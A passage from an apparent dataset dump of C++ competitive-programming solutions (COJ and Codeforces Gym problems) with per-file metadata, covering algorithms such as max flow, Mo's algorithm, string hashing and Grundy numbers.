<algorithm>\n\nusing namespace std;\n\nconst int MAXN = 2000;\n\nint st[MAXN];\nint a[MAXN];\n\nint main() {\n ios::sync_with_stdio(false);\n cin.tie(0);\n //freopen(\"dat.txt\", \"r\", stdin);\n\n string s; cin >> s;\n int k; cin >> k;\n\n int n = s.size();\n\n for(int i = 0; i < n; i++){\n a[i] = s[i] - '0';\n }\n\n int j = 0;\n int sz = 0;\n\n while( k && j < n ){\n\n st[sz++] = a[j];\n\n while( k && sz-1 > 0 && a[j] > st[sz-2] ){\n sz--;\n st[sz-1] = a[j];\n k--;\n }\n\n j++;\n }\n\n if( k > 0 ){\n for(int i = 0; i < sz - k; i++){\n cout << st[i];\n }\n cout << '\\n';\n }\n else{\n for(int i = 0; i < sz; i++){\n cout << st[i];\n }\n for(int i = j; i < n; i++){\n cout << a[i];\n }\n cout << '\\n';\n }\n}\n" }, { "alpha_fraction": 0.47058823704719543, "alphanum_fraction": 0.4986630976200104, "avg_line_length": 15.809523582458496, "blob_id": "29272c4760a48e1edda4d1d498838993ca701a61", "content_id": "52ff5fc083d6bc2be6292f878b52e0e834b16ef5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 748, "license_type": "no_license", "max_line_length": 50, "num_lines": 42, "path": "/COJ/eliogovea-cojAC/eliogovea-p3551-Accepted-s917929.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst double EPS = 1e-14;\r\n\r\nint t;\r\ndouble r, k;\r\n\r\ninline double f(double angle) {\r\n\tdouble A1 = (angle - sin(angle)) / 2.0;\r\n\tdouble A2 = M_PI - A1;\r\n\treturn A1 / A2;\r\n}\r\n\r\ndouble solve(double r, double k) {\r\n\tdouble lo = 0;\r\n\tdouble hi = M_PI;\r\n\tfor (int it = 0; it < 400; it++) {\r\n\t\tdouble mid = (lo + hi) / 2.0;\r\n\t\tif (f(mid) < k) {\r\n\t\t\tlo = mid;\r\n\t\t} else {\r\n\t\t\thi = mid;\r\n\t\t}\r\n\t}\r\n\treturn (lo + hi) / 2.0;\r\n}\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tcout.precision(5);\r\n\tcin >> t;\r\n\twhile (t--) {\r\n\t\tcin >> r >> k;\r\n\t\tdouble angle = solve(r, k);\r\n\t\tdouble x = r * cos(angle);\r\n\t\tdouble y = r * sin(angle);\r\n\t\tcout << fixed << x << \" \" << fixed << y << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.4197802245616913, "alphanum_fraction": 0.4681318700313568, "avg_line_length": 13.677419662475586, "blob_id": "f7d03c2a5d54f1150e9ba1eb085ac67ee1c46b96", "content_id": "9740afa4f982f3d696fc1fb1e18ef31dde02012f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 455, "license_type": "no_license", "max_line_length": 34, "num_lines": 31, "path": "/Codeforces-Gym/100739 - KTU Programming Camp (Day 3)/L.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// KTU Programming Camp (Day 3)\n// 100739L\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\ntypedef long long LL;\n\nconst LL MOD = 1000000007;\n\nLL power(LL x, LL n) {\n LL res = 1;\n while (n) {\n if (n & 1LL) {\n res = (res * x) % MOD;\n }\n x = (x * x) % MOD;\n n >>= 1LL;\n }\n return res;\n}\n\nLL a;\n\nint main() {\n ios::sync_with_stdio(false);\n cin.tie(0);\n cin >> a;\n cout << power(2, a) << \"\\n\";\n}\n" }, { "alpha_fraction": 0.42322835326194763, "alphanum_fraction": 0.45866140723228455, "avg_line_length": 16.472726821899414, "blob_id": "c91d88203ed96024ae97319179fb89af6d98fdb3", "content_id": "6f5bc2751f3af7d82d5fd62da5b1bcad075cba3c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1016, "license_type": "no_license", "max_line_length": 63, "num_lines": 55, "path": "/COJ/eliogovea-cojAC/eliogovea-p3810-Accepted-s1120092.cc", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int MOD = 1000 * 1000 * 1000 + 7;\r\n\r\ninline void add(int &a, int b) {\r\n\ta += b;\r\n\tif (a >= MOD) {\r\n\t\ta -= MOD;\r\n\t}\r\n}\r\n\r\ninline int mul(int a, int b) {\r\n\treturn (long long)a * b % MOD;\r\n}\r\n\r\ninline int power(int x, int n) {\r\n\tint y = 1;\r\n\twhile (n) {\r\n\t\tif (n & 1) {\r\n\t\t\ty = mul(y, x);\r\n\t\t}\r\n\t\tx = mul(x, x);\r\n\t\tn >>= 1;\r\n\t}\r\n\treturn y;\r\n}\r\n\r\nconst int INV2 = power(2, MOD - 2);\r\nconst int INV3 = power(3, MOD - 2);\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\r\n\tint t;\r\n\tlong long n;\r\n\tcin >> t;\r\n\tfor (int cas = 1; cas <= t; cas++) {\r\n\t\tcin >> n;\r\n\t\tlong long x = n / 2LL + 1;\r\n\t\tx %= MOD;\r\n\t\tn %= MOD;\r\n\t\tint a = mul(x, INV2);\r\n\t\tint b = mul(n, mul(n + 1, mul(n + 2, INV3)));\r\n\t\tint c = mul(x - 1 + MOD, mul(x, mul(x + 1, INV3)));\r\n\t\tint d = mul(n - x + 1 + MOD, mul(x - 1 + MOD, mul(x, INV2)));\r\n\t\tint ans = b;\r\n\t\tadd(ans, MOD - c);\r\n\t\tans = mul(ans, a);\r\n\t\tadd(ans, MOD - d);\r\n\t\tcout << \"Case #\" << cas << \": \" << ans << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.34293949604034424, "alphanum_fraction": 0.37367916107177734, "avg_line_length": 17.641510009765625, "blob_id": "1a32bf56ac6995ca8e613e4768e4086781b0e52b", "content_id": "08dfa3ae6b526f6e39c274be9306af2edde66e89", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1041, "license_type": "no_license", "max_line_length": 58, "num_lines": 53, "path": "/COJ/eliogovea-cojAC/eliogovea-p1486-Accepted-s604331.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <cstdio>\r\n\r\nconst int MAXN = 40;\r\n\r\nint tc, n, f[MAXN][MAXN], aux[MAXN], x, ac;\r\nint sol[MAXN];\r\n\r\nint main() {\r\n\r\n\tfor (int i = 2; i < MAXN; i++) {\r\n\t\tfor (int j = 2; j < MAXN; j++) f[i][j] = f[i - 1][j];\r\n\t\tint v = i;\r\n\t\tfor (int j = 2; j <= v; j++)\r\n\t\t\twhile (v % j == 0) {\r\n\t\t\t\tf[i][j]++;\r\n\t\t\t\tv /= j;\r\n\t\t\t}\r\n\t}\r\n\r\n\tfor (scanf(\"%d\", &tc); tc--;) {\r\n\t\tac = 0;\r\n\t\tfor (int j = 0; j < MAXN; j++) aux[j] = 0;\r\n\t\tfor (int i = 1; i <= 9; i++) {\r\n\t\t\tscanf(\"%d\", &x);\r\n\t\t\tfor (int j = 2; j < MAXN; j++) aux[j] -= f[x][j];\r\n\t\t\tac += x;\r\n\t\t}\r\n\r\n\t\tint top = 1;\r\n\t\tfor (int i = 0; i < MAXN; i++) sol[i] = 0;\r\n\t\tsol[0] = 1;\r\n\r\n\t\tfor (int i = 2; i < MAXN; i++) {\r\n\t\t\taux[i] += f[ac][i];\r\n\t\t\tfor (int j = 1; j <= aux[i]; j++) {\r\n\r\n\t\t\t\tint carry = 0;\r\n\t\t\t\tfor (int k = 0; k < top; k++) {\r\n\t\t\t\t\tcarry += sol[k] * i;\r\n\t\t\t\t\tsol[k] = carry % 10;\r\n\t\t\t\t\tcarry /= 10;\r\n\r\n\t\t\t\t}\r\n\t\t\t\twhile (carry) {\r\n\t\t\t\t\tsol[top++] = carry % 10;\r\n\t\t\t\t\tcarry /= 10;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t\tfor (int i = top - 1; i >= 0; i--) printf(\"%d\", sol[i]);\r\n\t\tprintf(\"\\n\");\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.328224778175354, "alphanum_fraction": 0.3422732949256897, "avg_line_length": 21.37313461303711, "blob_id": "4561692ff63ec2bcfb9824fe83d8bfbc5ae7261f", "content_id": "9edb10a26324f7d778068ffa4e6af66e36dcd981", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1566, "license_type": "no_license", "max_line_length": 86, "num_lines": 67, "path": "/COJ/eliogovea-cojAC/eliogovea-p2901-Accepted-s622811.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <iostream>\r\n#include <cstdio>\r\n#include <map>\r\n#include <algorithm>\r\n#include <vector>\r\n\r\nusing namespace std;\r\n\r\nstruct pt {\r\n int x, y, z;\r\n pt() {}\r\n pt(int a, int b, int c) : x(a), y(b), z(c) {}\r\n void norm() {\r\n if (x == 0 && y == 0 && z == 0) return;\r\n int xx = abs(x), yy = abs(y), zz = abs(z), g = __gcd(xx, __gcd(yy, zz));\r\n x /= g;\r\n y /= g;\r\n z /= g;\r\n if (x < 0) {x *= -1; y *= -1; z *= -1;}\r\n else if (x == 0) {\r\n if (y < 0) {y *= -1; z *= -1;}\r\n else if (y == 0) {\r\n if (z < 0) z *= -1;\r\n }\r\n }\r\n }\r\n bool operator < (const pt &P) const {\r\n if (x != P.x) return x < P.x;\r\n if (y != P.y) return y < P.y;\r\n return z < P.z;\r\n }\r\n};\r\n\r\nint n, sol;\r\nvector<pt> pts;\r\nmap<pt, int> m;\r\nmap<pt, int>::iterator it;\r\n\r\nint main()\r\n{\r\n scanf(\"%d\", &n);\r\n if (n == 1 || n == 2) {\r\n printf(\"%d\\n\", n);\r\n return 0;\r\n }\r\n for (int i = 0, a, b, c; i < n; i++) {\r\n scanf(\"%d%d%d\", &a, &b, &c);\r\n pts.push_back(pt(a, b, c));\r\n }\r\n\r\n for (int i = 0; i < n; i++) {\r\n m.clear();\r\n pt p;\r\n for (int j = 0; j < n; j++)\r\n if (i != j) {\r\n p = pt(pts[j].x - pts[i].x, pts[j].y - pts[i].y, pts[j].z - pts[i].z);\r\n p.norm();\r\n m[p]++;\r\n }\r\n for (it = m.begin(); it != m.end(); it++)\r\n sol = max(sol, it->second + 1);\r\n }\r\n\r\n printf(\"%d\\n\", sol);\r\n\r\n return 0;\r\n}\r\n" }, { "alpha_fraction": 0.3929342031478882, "alphanum_fraction": 0.4212513566017151, "avg_line_length": 20.18857192993164, "blob_id": "401eb0fbfdd6632eb38f9c36b07463e60c27ab3d", "content_id": "437e1b70595603409ec0db07eb7acb3776734673", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 3708, "license_type": "no_license", "max_line_length": 146, "num_lines": 175, "path": "/Codeforces-Gym/100534 - 2014-2015 CT S02E10: Codeforces Trainings Season 2 Episode 10 - 2014 Amirkabir University of Technology Annual Programming Contest (AUT APC 14)/I.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2014-2015 CT S02E10: Codeforces Trainings Season 2 Episode 10 - 2014 Amirkabir University of Technology Annual Programming Contest (AUT APC 14)\n// 100534I\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\n\nconst int MAXN = 10000;\nconst int MAXM = 100000;\nconst int oo = 100000000;\n\nint ady[MAXM],next[MAXM],flow[MAXM],cap[MAXM];\nint E,last[MAXN],now[MAXN];\n\nint s,t,n;\nvoid init_max_flow(int nn,int ss,int tt){\n E=2; n=nn; s=ss; t=tt;\n for(int i=0;i<=n;i++) last[i] = 0;\n}\n\nvoid add_edge(int v,int u,int c){\n ady[E]=u;\n flow[E]=0; cap[E]=c;\n next[E]=last[v]; last[v]=E++;\n}\nint cola[MAXN],enq,deq,level[MAXN];\n\nbool BFS(){\n int i,v,u;\n for(i=0;i<=n;i++) level[i]=0;\n level[s]=1;\n enq=deq=0; cola[enq++]=s;\n while(enq-deq>0 && !level[t]){\n v=cola[deq++];\n for(int i=last[v];i;i=next[i]){\n u=ady[i];\n if(!level[u] && flow[i] < cap[i]){\n level[u]=level[v]+1;\n cola[enq++]=u;\n }\n }\n }\n return level[t];\n}\n\nint DFS(int v,int flujo){\n if(v==t) return flujo;\n for(int f,i=now[v];i;i=now[v]=next[i]){\n int u=ady[i];\n if(level[v]<level[u] && flow[i]<cap[i]){\n if(f = DFS(u,min(flujo,cap[i]-flow[i]))){\n flow[i]+=f;\n flow[i^1]-=f;\n return f;\n }\n }\n }\n return 0;\n}\n\nint MAXFLOW(){\n int flow=0,f;\n while(BFS()){\n for(int i=0;i<=n;i++) now[i]=last[i];\n while(f = DFS(s,oo)) flow += f;\n }\n return flow;\n}\n\n\ntypedef pair<int,int> par;\nvector<par> g[MAXN];\n\nint d1[MAXN] , d2[MAXN];\nint mk1[MAXN] , mk2[MAXN];\n\nvoid dijkstra( int n, int begin, int *d ,int *mk ){\n priority_queue< par > cola;\n for(int i = 1; i <= n; i++){\n d[i] = oo;\n }\n d[begin] = 0;\n cola.push( par( 0 , begin ) );\n\n while( !cola.empty() ){\n int u = cola.top().second; cola.pop();\n\n if( mk[u] ){\n continue;\n }\n\n mk[u] = true;\n\n for(int i = 0; i < g[u].size(); i++){\n int v = g[u][i].first;\n int w = g[u][i].second;\n\n if( !mk[v] && d[v] > d[u] + w ){\n d[v] = d[u] + w;\n cola.push( par( -d[v] , v ) );\n }\n }\n }\n}\n\nbool ok[MAXN];\n\ntypedef pair< par , int > arc;\n\narc arcos[MAXM];\n\nint main(){\n ios::sync_with_stdio(0);\n cin.tie(0);\n\n //freopen(\"dat.txt\",\"r\",stdin);\n\n int n,m; cin >> n >> m;\n\n int kkk = oo;\n\n for(int i = 0; i < m; i++){\n int u,v,c; cin >> u >> v >> c; u++; v++;\n g[u].push_back( par(v,c) );\n g[v].push_back( par(u,c) );\n\n if( ( u == 1 && v == n ) || ( u == n && v == 1 ) ){\n kkk = min( kkk , c );\n }\n\n arcos[i] = arc( par( u, v ) , c );\n }\n\n dijkstra( n , 1 , d1 , mk1 );\n dijkstra( n , n , d2 , mk2 );\n\n if( d1[n] == oo ){\n cout << \"0\\n\";\n return 0;\n }\n\n if( d1[n] == kkk ){\n cout << \"IMPOSSIBLE\\n\";\n return 0;\n }\n\n init_max_flow( n * 2 , 1+n , n );\n\n for(int i = 1; i <= n; i++){\n ok[i] = ( d1[i] + d2[i] == d1[n] );\n add_edge( i , i + n , 1 );\n add_edge( i + n , i , 0 );\n }\n\n for(int i = 0; i < m; i++){\n int u = arcos[i].first.first;\n int v = arcos[i].first.second;\n int w = arcos[i].second;\n\n if( ok[u] && ok[v] && ( ( d1[u] + w + d2[v] == d1[n] ) || ( d1[v] + w + d2[u] == d1[n] ) ) ){\n if( u != n && v != 1 ){\n add_edge( u+n , v , 1 );\n add_edge( v , u+n , 0 );\n }\n\n if( v != n && u != 1 ){\n add_edge( v+n , u , 1 );\n add_edge( u , v+n , 0 );\n }\n }\n }\n\n cout << MAXFLOW() << '\\n';\n}\n" }, { "alpha_fraction": 0.3177257478237152, "alphanum_fraction": 0.34515050053596497, "avg_line_length": 19.47945213317871, "blob_id": "3838ae14b18459817c41622f23f3308eab7da75d", "content_id": "5d6dfa2d43fbb34c5d900d8da8aab4aa5f20419b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1495, "license_type": "no_license", "max_line_length": 72, "num_lines": 73, "path": "/Codeforces-Gym/101104 - 2016-2017 CT S03E04: Codeforces Trainings Season 3 Episode 4/K.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2016-2017 CT S03E04: Codeforces Trainings Season 3 Episode 4\n// 101104K\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nstruct pt {\n int x, y, id;\n pt() {}\n pt(int _x, int _y) : x(_x), y(_y) {}\n};\n\npt operator - (const pt &a, const pt &b) {\n return pt(a.x - b.x, a.y - b.y);\n}\n\nint cross(const pt &a, const pt &b) {\n return a.x * b.y - a.y * b.x;\n}\n\npt O;\nbool cmp(const pt &a, const pt &b) {\n int c = cross(a - O, b - O);\n if (c != 0) {\n return (c > 0);\n }\n return a.id < b.id;\n}\n\nint n;\npt a[205], b[105];\n\nint main(){\n ios::sync_with_stdio(0);\n cin.tie(0);\n\n //freopen(\"dat.txt\",\"r\",stdin);\n\n int t;\n cin >> t;\n while (t--) {\n cin >> n;\n cin >> O.x >> O.y;\n for (int i = 0; i < n; i++) {\n cin >> a[i].x >> a[i].y >> a[i + n].x >> a[i + n].y;\n a[i].id = 0;\n a[i + n].id = 0;\n if (cmp(a[i + n], a[i])) {\n swap(a[i], a[i + n]);\n }\n a[i].id = -1;\n a[i + n].id = 1;\n }\n sort(a, a + 2 * n, cmp);\n\n int cur = 0;\n int ans = 1;\n for (int i = 0; i < n + n; i++) {\n //cerr << a[i].id << \" \" << a[i].x << \" \" << a[i].y << \"\\n\";\n if (a[i].id == -1) {\n cur++;\n } else {\n cur--;\n }\n //cerr << cur << \"\\n\";\n if (cur == 0) {\n ans++;\n }\n }\n cout << ans << \"\\n\";\n }\n}\n" }, { "alpha_fraction": 0.4063205420970917, "alphanum_fraction": 0.42889389395713806, "avg_line_length": 18.136363983154297, "blob_id": "100d9a38d5bd14e2ebf2574e95f31701040913d9", "content_id": "b66bc7998b6bc7222ccad4e93b43e4b7f1783865", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 443, "license_type": "no_license", "max_line_length": 50, "num_lines": 22, "path": "/COJ/eliogovea-cojAC/eliogovea-p2793-Accepted-s665134.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <iostream>\r\n#include <vector>\r\n\r\nusing namespace std;\r\n\r\nint k, m, x;\r\nvector<int> a[15];\r\n\r\nint main() {\r\n\tcin >> k;\r\n\tfor (int i = 0; i <= k; i++) a[0].push_back(i);\r\n\tcin >> m;\r\n\tfor (int i = 1; i <= m; i++) {\r\n\t\tcin >> x;\r\n\t\tfor (int j = 0; j < (int)a[i - 1].size(); j++) {\r\n\t\t\tif (j && (j % x == 0)) continue;\r\n\t\t\ta[i].push_back(a[i - 1][j]);\r\n\t\t}\r\n\t}\r\n\tfor (int i = 1; i < (int)a[m].size(); i++)\r\n\t\tcout << a[m][i] << \"\\n\";\r\n}\r\n" }, { "alpha_fraction": 0.41304346919059753, "alphanum_fraction": 0.44021740555763245, "avg_line_length": 14.140351295471191, "blob_id": "960921ea65077dce50d4604b037548d56a8f6d10", "content_id": "bd1f1441c8cff0a2ad59200294503e8b5545fd2b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 920, "license_type": "no_license", "max_line_length": 49, "num_lines": 57, "path": "/COJ/eliogovea-cojAC/eliogovea-p2372-Accepted-s831055.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\ntypedef unsigned long long ull;\r\n\r\nconst int BASE = 31;\r\n\r\nconst int N = 200005;\r\n\r\nint n;\r\nstring s;\r\n\r\null POW[N];\r\null HASH[N];\r\n\r\ninline ull val(char ch) {\r\n\treturn ch - 'a' + 1;\r\n}\r\n\r\null v[N];\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tcin >> n >> s;\r\n\tPOW[0] = 1;\r\n\tfor (int i = 1; i <= n; i++) {\r\n\t\tPOW[i] = POW[i - 1] * BASE;\r\n\t\tHASH[i] = HASH[i - 1] * BASE + val(s[i - 1]);\r\n\t}\r\n\tint lo = 0;\r\n\tint hi = n;\r\n\tint ans = 0;\r\n\twhile (lo <= hi) {\r\n\t\tint mid = (lo + hi) >> 1;\r\n\t\tint cnt = 0;\r\n\t\tfor (int i = 0; i + mid <= n; i++) {\r\n\t\t\tv[cnt++] = HASH[i + mid] - HASH[i] * POW[mid];\r\n\t\t}\r\n\t\tsort(v, v + cnt);\r\n\t\tbool ok = false;\r\n\t\tfor (int i = 1; i < cnt; i++) {\r\n\t\t\tif (v[i] == v[i - 1]) {\r\n\t\t\t\tok = true;\r\n\t\t\t\tbreak;\r\n\t\t\t}\r\n\t\t}\r\n\t\tif (ok) {\r\n\t\t\tans = mid;\r\n\t\t\tlo = mid + 1;\r\n\t\t} else {\r\n\t\t\thi = mid - 1;\r\n\t\t}\r\n\t}\r\n\tcout << ans << \"\\n\";\r\n}\r\n" }, { "alpha_fraction": 0.45700541138648987, "alphanum_fraction": 0.4744437634944916, "avg_line_length": 28.236364364624023, "blob_id": "2b8a4a9a091cc56a3689509fef8d9b03c480c20b", "content_id": "ad66ec82163cef73fd8273db76b256f69349a7e8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1663, "license_type": "no_license", "max_line_length": 88, "num_lines": 55, "path": "/COJ/eliogovea-cojAC/eliogovea-p3368-Accepted-s827128.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nint sum[100][100][100];\r\n\r\nvector<int> vx, vy, vz;\r\n\r\nint n, k;\r\nint x[100], y[100], z[100];\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tcin >> n >> k;\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tcin >> x[i] >> y[i] >> z[i];\r\n\t\tcin >> x[n + i] >> y[n + i] >> z[n + i];\r\n\t\tvx.push_back(x[i]); vx.push_back(x[n + i]);\r\n\t\tvy.push_back(y[i]); vy.push_back(y[n + i]);\r\n\t\tvz.push_back(z[i]); vz.push_back(z[n + i]);\r\n\t}\r\n\tsort(vx.begin(), vx.end());\r\n\tsort(vy.begin(), vy.end());\r\n\tsort(vz.begin(), vz.end());\r\n\tvx.erase(unique(vx.begin(), vx.end()), vx.end());\r\n\tvy.erase(unique(vy.begin(), vy.end()), vy.end());\r\n\tvz.erase(unique(vz.begin(), vz.end()), vz.end());\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tint xlo = upper_bound(vx.begin(), vx.end(), x[i]) - vx.begin();\r\n\t\tint xhi = upper_bound(vx.begin(), vx.end(), x[n + i]) - vx.begin();\r\n\t\tint ylo = upper_bound(vy.begin(), vy.end(), y[i]) - vy.begin();\r\n\t\tint yhi = upper_bound(vy.begin(), vy.end(), y[n + i]) - vy.begin();\r\n\t\tint zlo = upper_bound(vz.begin(), vz.end(), z[i]) - vz.begin();\r\n\t\tint zhi = upper_bound(vz.begin(), vz.end(), z[n + i]) - vz.begin();\r\n\t\tfor (int xx = xlo; xx < xhi; xx++) {\r\n\t\t\tfor (int yy = ylo; yy < yhi; yy++) {\r\n\t\t\t\tfor (int zz = zlo; zz < zhi; zz++) {\r\n\t\t\t\t\tsum[xx][yy][zz]++;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\tlong long ans = 0;\r\n\tfor (int xx = 1; xx < vx.size(); xx++) {\r\n\t\tfor (int yy = 1; yy < vy.size(); yy++) {\r\n\t\t\tfor (int zz = 1; zz < vz.size(); zz++) {\r\n\t\t\t\tif (sum[xx][yy][zz] >= k) {\r\n\t\t\t\t\tans += 1LL * (vx[xx] - vx[xx - 1]) * (vy[yy] - vy[yy - 1]) * (vz[zz] - vz[zz - 1]);\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\tcout << ans << \"\\n\";\r\n}\r\n" }, { "alpha_fraction": 0.4047175645828247, "alphanum_fraction": 0.450031042098999, "avg_line_length": 15.109999656677246, "blob_id": "8f0b8b532bbcae4f783fd4253742feaf75639afa", "content_id": "9af5413eee694ca7e4e6a41b0063a99dae985b31", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1611, "license_type": "no_license", "max_line_length": 98, "num_lines": 100, "path": "/Codeforces-Gym/101138 - 2016-2017 CT S03E07: Codeforces Trainings Season 3 Episode 7 - HackerEarth Problems Compilation/D.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2016-2017 CT S03E07: Codeforces Trainings Season 3 Episode 7 - HackerEarth Problems Compilation\n// 101138D\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\ntypedef long long LL;\n\nstruct query {\n\tint ind;\n\tint sign;\n\tint L, R;\n\tquery() {}\n\tquery(int _ind, int _sign, int _L, int _R) {\n\t\tind = _ind;\n\t\tsign = _sign;\n\t\tL = _L;\n\t\tR = _R;\n\t\tif (L > R) {\n\t\t\tswap(L, R);\n\t\t}\n\t}\n};\n\nint bs;\n\nbool cmp(const query &a, const query &b) {\n\treturn make_pair(a.L / bs, a.R) < make_pair(b.L / bs, b.R);\n}\n\nconst int N = 50005;\nint n, q;\nint a[N];\nquery qs[4 * N];\nint fL[N];\nint fR[N];\nlong long ans[N];\n\nint main() {\n\tios::sync_with_stdio(false);\n\tcin.tie(0);\n\n\t//freopen(\"dat.txt\", \"r\", stdin);\n\tcin >> n;\n\tfor (int i = 1; i <= n; i++) {\n\t\tcin >> a[i];\n\t}\n\tcin >> q;\n\tfor (int i = 0; i < q; i++) {\n\t\tint l1, l2, r1, r2;\n\t\tcin >> l1 >> r1 >> l2 >> r2;\n\t\tqs[4 * i + 0] = query(i, 1, r1, r2);\n\t\tqs[4 * i + 1] = query(i, -1, l1 - 1, r2);\n\t\tqs[4 * i + 2] = query(i, -1, l2 - 1, r1);\n\t\tqs[4 * i + 3] = query(i, 1, l1 - 1, l2 - 1);\n\t}\n\n\tbs = sqrt(n);\n\n\tsort(qs, qs + (4 * n), cmp);\n\n\tint L = 0;\n\n\tint R = 0;\n\n LL A = 0;\n\n\tfor (int i = 0; i < 4 * q; i++) {\n\n\t\twhile (L < qs[i].L) { // add\n\t\t\tA += fR[a[L + 1]];\n\t\t\tfL[a[L + 1]]++;\n\t\t\tL++;\n\t\t}\n\t\twhile (L > qs[i].L) { // remove\n\t\t\tA -= fR[a[L]];\n\t\t\tfL[a[L]]--;\n\t\t\tL--;\n\t\t}\n\t\twhile (R < qs[i].R) { // add\n\t\t\tA += fL[a[R + 1]];\n\t\t\tfR[a[R + 1]]++;\n\t\t\tR++;\n\t\t}\n\t\twhile (R > qs[i].R) {\n\t\t\tA -= fL[a[R]];\n\t\t\tfR[a[R]]--;\n\t\t\tR--;\n\t\t}\n\t\tif (qs[i].sign > 0) {\n\t\t\tans[qs[i].ind] += A;\n\t\t} else {\n\t\t\tans[qs[i].ind] -= A;\n\t\t}\n\t}\n\tfor (int i = 0; i < q; i++) {\n\t\tcout << ans[i] << \"\\n\";\n\t}\n}\n" }, { "alpha_fraction": 0.2961730360984802, "alphanum_fraction": 0.3521907925605774, "avg_line_length": 23.04166603088379, "blob_id": "1dbdad4cb70955ee8131f513e1a2a355ba64ddfc", "content_id": "5776eca85b192a6891bd8c7214cdd7dac8cfbcb7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1803, "license_type": "no_license", "max_line_length": 70, "num_lines": 72, "path": "/COJ/eliogovea-cojAC/eliogovea-p2245-Accepted-s1055685.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int N = 20;\r\n\r\nint n, m;\r\nstring s[N];\r\n\r\nint grundy[N + 1][N + 1][N + 1][N + 1];\r\nint used[N * N + 100];\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\r\n\tcin >> n >> m;\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tcin >> s[i];\r\n\t}\r\n\r\n\tfor (int lx = 1; lx <= n; lx++) {\r\n\t\tfor (int ly = 1; ly <= n; ly++) {\r\n\t\t\tfor (int x1 = 0; x1 + lx - 1 < n; x1++) {\r\n\t\t\t\tfor (int y1 = 0; y1 + ly - 1 < n; y1++) {\r\n\t\t\t\t\tint x2 = x1 + lx - 1;\r\n\t\t\t\t\tint y2 = y1 + ly - 1;\r\n\t\t\t\t\tint id = N * N * N * x1 + N * N * x2 + N * y1 + y2 + 1;\r\n\t\t\t\t\tfor (int px = x1; px <= x2; px++) {\r\n\t\t\t\t\t\tfor (int py = y1; py <= y2; py++) {\r\n\t\t\t\t\t\t\tint _grundy = 0;\r\n\t\t\t\t\t\t\tif (s[px][py] == '|') {\r\n\t\t\t\t\t\t\t\tif (py != y1) {\r\n\t\t\t\t\t\t\t\t\t_grundy ^= grundy[x1][y1][x2][py - 1];\r\n\t\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\t\tif (py != y2) {\r\n\t\t\t\t\t\t\t\t\t_grundy ^= grundy[x1][py + 1][x2][y2];\r\n\t\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\t} else if (s[px][py] == '-') {\r\n\t\t\t\t\t\t\t\tif (px != x1) {\r\n\t\t\t\t\t\t\t\t\t_grundy ^= grundy[x1][y1][px - 1][y2];\r\n\t\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\t\tif (px != x2) {\r\n\t\t\t\t\t\t\t\t\t_grundy ^= grundy[px + 1][y1][x2][y2];\r\n\t\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\t} else {\r\n\t\t\t\t\t\t\t\tif (px != x1 && py != y1) {\r\n\t\t\t\t\t\t\t\t\t_grundy ^= 